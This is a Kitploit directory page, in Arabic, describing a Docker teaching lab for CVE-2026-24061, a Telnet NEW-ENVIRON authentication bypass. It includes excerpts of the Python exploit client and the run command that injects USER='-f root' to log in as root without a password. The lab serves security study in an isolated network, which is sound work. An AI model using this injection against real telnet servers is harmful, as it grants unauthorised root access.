Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24061 — معمل Docker تعليمي يوضح حقن اسم المستخدم في Telnet NEW-ENVIRON (CVE-2026-24061) مع عميل Python وخادم قابل للاستغلال لأبحاث أمنية معزولة. | Kitploit
أدوات/GitHubGitHub/tiborscholtz/cve-2026-24061
تحليل الثغرات الأمنيةالاستغلالأمن الشبكاتالتعلم والتعليممختبرات وتدريب عملي
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

معمل Docker تعليمي يوضح حقن اسم المستخدم في Telnet NEW-ENVIRON (CVE-2026-24061) مع عميل Python وخادم قابل للاستغلال لأبحاث أمنية معزولة.

عرض المستودع
6منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مختبر Telnet لتسجيل الدخول التلقائي عبر Docker

Docker Python License

مختبر Docker خفيف الوزن لتجربة تفاوض بروتوكول Telnet، كما هو موضح في استغلال CVE-2026-24061، والذي يحتوي على حقن تلقائي لاسم المستخدم باستخدام خيار NEW-ENVIRON.

ينشئ هذا المشروع بيئة معزولة بين عميل وخادم لدراسة كيفية تعامل Telnet مع تجاوز المصادقة القائم على المتغيرات البيئية.


الميزات

  • مختبر معزول بحاويتين باستخدام Docker Compose
  • عميل Telnet مخصص بلغة Python
  • حقن تلقائي لمتغير البيئة USER
  • معالجة أساسية لتفاوض خيارات Telnet
  • اكتشاف الخدمات داخليًا عبر DNS الخاص بـ Docker
  • إعداد بسيط وقابل للتكرار

البنية

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
الحاويةالدور
node1عميل Python مع سكربت تسجيل دخول تلقائي
node2خادم Telnet (inetutils-telnetd 2.7)

تعمل كلتا الخدمتين داخل شبكة Docker جسرية خاصة، باسم labnet.


هيكل المشروع

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

تفاصيل الملفات

Dockerfile.node1

هذا الملف مسؤول عن تثبيت حاوية العميل، المسماة node1.

اخترت python:3.12-slim كصورة أساسية، لأن الغرض من هذا المختبر هو الاتصال الشبكي فقط. نقوم فقط بتثبيت عميل telnet نفسه، ونسخ exploit.py إلى المجلد الجذر للحاوية.

Dockerfile.node2

هذا الملف مسؤول عن تثبيت حاوية الخادم، المسماة node2.

نفس الصورة الأساسية تنطبق على هذه الحاوية أيضًا. ومع ذلك، تتضمن عملية التثبيت خطوات أكثر:

  • بعد التحديث، نحتاج إلى تثبيت wget للحصول على الإصدار الضعيف من telnetd.
  • بعد تنزيل الإصدار الضعيف، لنقم بتثبيته باستخدام apt get install -y.
  • السطر المضاف إلى /etc/inetd.conf يقوم بتمكين خدمة telnet.
  • الأمر الأخير يقوم بتمكين برنامج inetd الخفي كأمر تشغيل للحاوية.

exploit.py

في أعلى الملف، نرى بعض الثوابت المعلنة:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC، بقيمة 255، تعني Interpret As Command، لذا فهي تمثل بداية تسلسل التحكم في Telnet.

يمكنك الاطلاع على المزيد من الخيارات هنا

عادةً ما يكون التنسيق بالشكل التالي:

root@kitploit:~
IAC <command> <option>

في السكربت، يوجد الجزء التالي:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

يتحقق هذا الشرط من أن البيانات المستلمة حاليًا من الخادم تحتوي على قيمة IAC، وإذا كان الأمر كذلك، نحتاج إلى تفسيرها كأمر.

نمر عبر البيانات المستلمة باستخدام حلقة while. نتحقق من كل بايت إذا كان IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

إذا كان كذلك، نقوم بتعيين متغيري cmd و opt إلى البايت المقابل من تدفق البيانات.

إذا كانت قيمة opt تساوي قيمة NEW_ENVIRON، يقوم السكربت بتشغيل طريقة send_new_environ_user.

لنفحص جزء الكود التالي:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

كل من SB و SE جزء من ثوابت بروتوكول Telnet. SB تعني 'Subnegotiation begin' (بداية التفاوض الفرعي)، بينما SE تعني 'Subnegoation end' (نهاية التفاوض الفرعي). أي شيء بين هاتين القيمتين هو إعدادات متعلقة بأمر محدد، يتم إرسالها إلى الخادم. في هذه الحالة، نريد إرسال رسالة باستخدام معيار rfc1572، بالتفصيل هنا.

يمكننا ترجمة تسلسل البايتات إلى الإنجليزية بشكل تقريبي، مثل:

root@kitploit:~
- فسّر هذا كأمر (IAC)
- إنه (0)
- متغير بيئة جديد (NEW_ENVIRON)
- قيمة هذا المتغير البيئي الجديد هي (b"USER" + bytes([ENV_VALUE]) + username.encode())
- إنهاء الاتصال الفرعي (IAC + SE)

ومع ذلك، هناك حالات لا يدعم فيها خادم Telnet المستهدف المتغيرات البيئية المتعلقة بأسماء المستخدمين. في هذه الحالة، نتراجع لإرسال اسم المستخدم بالطريقة التقليدية.


المتطلبات

  • Docker 24+
  • Docker Compose v2+

تحقق من التثبيت:

root@kitploit:~
docker --version
docker compose version

البدء السريع

1. بناء وتشغيل البيئة

root@kitploit:~
docker compose up --build -d

تحقق من الحالة:

root@kitploit:~
docker ps

يجب أن ترى:

  • node1
  • node2

2. فتح شل في حاوية العميل

root@kitploit:~
docker exec -it node1 bash

قم بتعيين اسم مستخدم، وشغّل السكربت:

root@kitploit:~
USER="-f root" python exploit.py node2

سيقوم السكربت بما يلي:

  • الاتصال بـ node2 على المنفذ 23
  • إجراء تفاوض Telnet
  • إرسال USER=-f root باستخدام NEW-ENVIRON
  • التراجع إلى اكتشاف المطالبة إذا لزم الأمر

الشبكات

  • اسم الشبكة: labnet
  • DNS الداخلي لـ Docker يسمح بتحليل أسماء المضيفين
  • لا يتم كشف أي منافذ للمضيف
  • الاتصال بين الحاويات فقط
اسم المضيفالخدمة
node1العميل
node2خادم Telnet

ملاحظات التنفيذ

سكربت العميل:

  • يتعامل مع تسلسلات التحكم في Telnet IAC و DO و WILL، وهي أوامر أساسية في بروتوكول Telnet تُستخدم لتفاوض الخيارات بين العميل والخادم.
  • يستجيب لطلبات NEW-ENVIRON
  • يرسل:
root@kitploit:~
USER=<قيمة $USER>
  • يكتشف مطالبات login: أو username: كخيار احتياطي

الإيقاف والتنظيف

إيقاف البيئة:

root@kitploit:~
docker compose down

إذا كنت تريد أيضًا إزالة الحاويات والصور:

root@kitploit:~
docker compose down --rmi all

إشعار أمني

ينقل Telnet البيانات كنص عادي وليس آمنًا. هذا المشروع مخصص لأغراض تعليمية فقط داخل بيئات معزولة.


استكشاف الأخطاء وإصلاحها

رفض الاتصال

  • تأكد من تشغيل الحاويات:

    root@kitploit:~
    docker ps
    

السكربت يخرج بخطأ USER

  • تأكد من تعيين متغير البيئة:
root@kitploit:~
USER="-f root" python exploit.py node2

إعادة البناء بعد التغييرات

root@kitploit:~
docker compose up --build

الترخيص

هذا المستودع مقدم للاستخدام التعليمي والبحثي. المساهمات والتحسينات مرحب بها.

تنزيل الأداة